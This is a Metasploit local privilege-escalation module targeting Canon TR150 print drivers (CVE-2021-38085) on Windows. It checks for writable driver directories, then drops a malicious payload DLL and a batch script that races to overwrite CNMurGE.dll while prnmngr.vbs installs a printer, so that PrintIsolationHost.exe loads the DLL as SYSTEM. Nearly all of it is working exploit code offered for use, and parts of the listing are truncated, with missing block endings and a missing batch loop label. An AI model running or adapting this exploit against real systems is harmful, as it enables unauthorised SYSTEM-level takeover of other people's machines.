# This module requires Metasploit:  
# Current source:  
class MetasploitModule < Msf::Exploit::Local  
Rank = NormalRanking  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Post::Windows::Priv  
include Msf::Exploit::FileDropper  
prepend Msf::Exploit::Remote::AutoCheck  
def initialize(info = {})  
'Name' => 'Canon Driver Privilege Escalation',  
'Description' => %q{  
Canon TR150 print drivers versions and below allow local users to read/write files  
within the "CanonBJ" directory and its subdirectories. By overwriting the DLL at  
C:\ProgramData\CanonBJ\IJPrinter\CNMWINDOWS\Canon TR150 series\LanguageModules\040C\CNMurGE.dll  
with a malicious DLL at the right time whilst running the C:\Windows\System32\Printing_Admin_Scripts\en-US\prnmngr.vbs  
script to install a new printer, a timing issue can be exploited to cause the PrintIsolationHost.exe program,  
which runs as NT AUTHORITY\SYSTEM, to successfully load the malicious DLL. Successful exploitation  
will grant attackers code execution as the NT AUTHORITY\SYSTEM user.  
This module leverages the prnmngr.vbs script  
to add and delete printers. Multiple runs of this  
module may be required given successful exploitation  
is time-sensitive.  
'License' => MSF_LICENSE,  
'Author' => [  
'Jacob Baines', # discovery, PoC, module  
'Shelby Pace' # original Ricoh module  
'References' =>  
['CVE', '2021-38085'],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'Platform' => 'win',  
'SessionTypes' => [ 'meterpreter' ],  
'Targets' =>  
'Windows', { 'Arch' => [ ARCH_X86, ARCH_X64 ] }  
'Notes' =>  
'SideEffects' => [ ARTIFACTS_ON_DISK ],  
'Reliability' => [ UNRELIABLE_SESSION ],  
'Stability' => [ SERVICE_RESOURCE_LOSS ]  
'DisclosureDate' => '2021-08-07',  
'DefaultTarget' => 0  
self.needs_cleanup = true  
def check  
@driver_path = ''  
dir_name = 'C:\\ProgramData\\CanonBJ\\IJPrinter\\CNMWINDOWS\\Canon TR150 series'  
return CheckCode::Safe('No Canon TR150 driver directory found') unless directory?(dir_name)  
language_dirs = dir(dir_name)  
return CheckCode::Detected("Detected Canon driver directory, but no language files. Its likely the driver is installed but a printer hasn't been added yet") unless language_dirs.length  
@driver_path = dir_name  
res = cmd_exec("icacls \"#{@driver_path}\"")  
vulnerable = res.match(/\\Users:(?:\(I\))?\(OI\)\(CI\)\(F\)/)  
return CheckCode::Safe("#{@driver_path} directory does not exist or does not grant Users full permissions") unless vulnerable  
vprint_status("Vulnerable language driver directory: #{@driver_path}")  
CheckCode::Appears('Canon language driver directory grants Users full permissions')  
def add_printer(driver_name)  
fail_with(Failure::NotFound, 'Printer driver script not found') unless file?(@script_path)  
dll_data = generate_payload_dll  
dll_path = "#{@driver_path}\\CNMurGE.dll"  
temp_path = expand_path('%TEMP%\\CNMurGE.dll')  
bat_file_path = expand_path("%TEMP%\\#{Rex::Text.rand_text_alpha(5..9)}.bat")  
cp_cmd = "copy /y \"#{temp_path}\" \"#{dll_path}\""  
# this script monitors the target dll for modification and then copies  
# over our malicious dll. As this is a time based attack, it won't  
# always be succuessful!  
bat_file = <<~HEREDOC  
attrib -a "#{dll_path}"  
for %%i in ("#{dll_path}") do echo %%~ai | find "a" >nul || goto :repeat  
timeout /t 1  
attrib -a "#{dll_path}"  
print_status("Dropping batch script to #{bat_file_path}")  
write_file(bat_file_path, bat_file)  
print_status("Writing DLL file to #{temp_path}")  
write_file(temp_path, dll_data)  
register_files_for_cleanup(bat_file_path, temp_path)  
script_cmd = "cscript \"#{@script_path}\" -a -p \"#{@printer_name}\" -m \"#{driver_name}\" -r \"lpt1:\""  
bat_cmd = "cmd.exe /c \"#{bat_file_path}\""  
vprint_status('Executing the batch script...')  
client.sys.process.execute(bat_cmd, nil, { 'Hidden' => true })  
print_status("Adding printer #{@printer_name}...")  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::Unknown, "#{e.class} #{e.message}")  
def exploit  
fail_with(Failure::None, 'Already running as SYSTEM') if is_system?  
fail_with(Failure::None, 'Must have a Meterpreter session to run this module') unless session.type == 'meterpreter'  
if sysinfo['Architecture'] != payload.arch.first  
fail_with(Failure::BadConfig, 'The payload should use the same architecture as the target machine')  
@printer_name = Rex::Text.rand_text_alpha(5..9)  
@script_path = 'C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\prnmngr.vbs'  
drvr_name = 'Canon TR150 series'  
def cleanup  
print_status("Deleting printer #{@printer_name}")  
delete_cmd = "cscript \"#{@script_path}\" -d -p \"#{@printer_name}\""  
client.sys.process.execute(delete_cmd, nil, { 'Hidden' => true })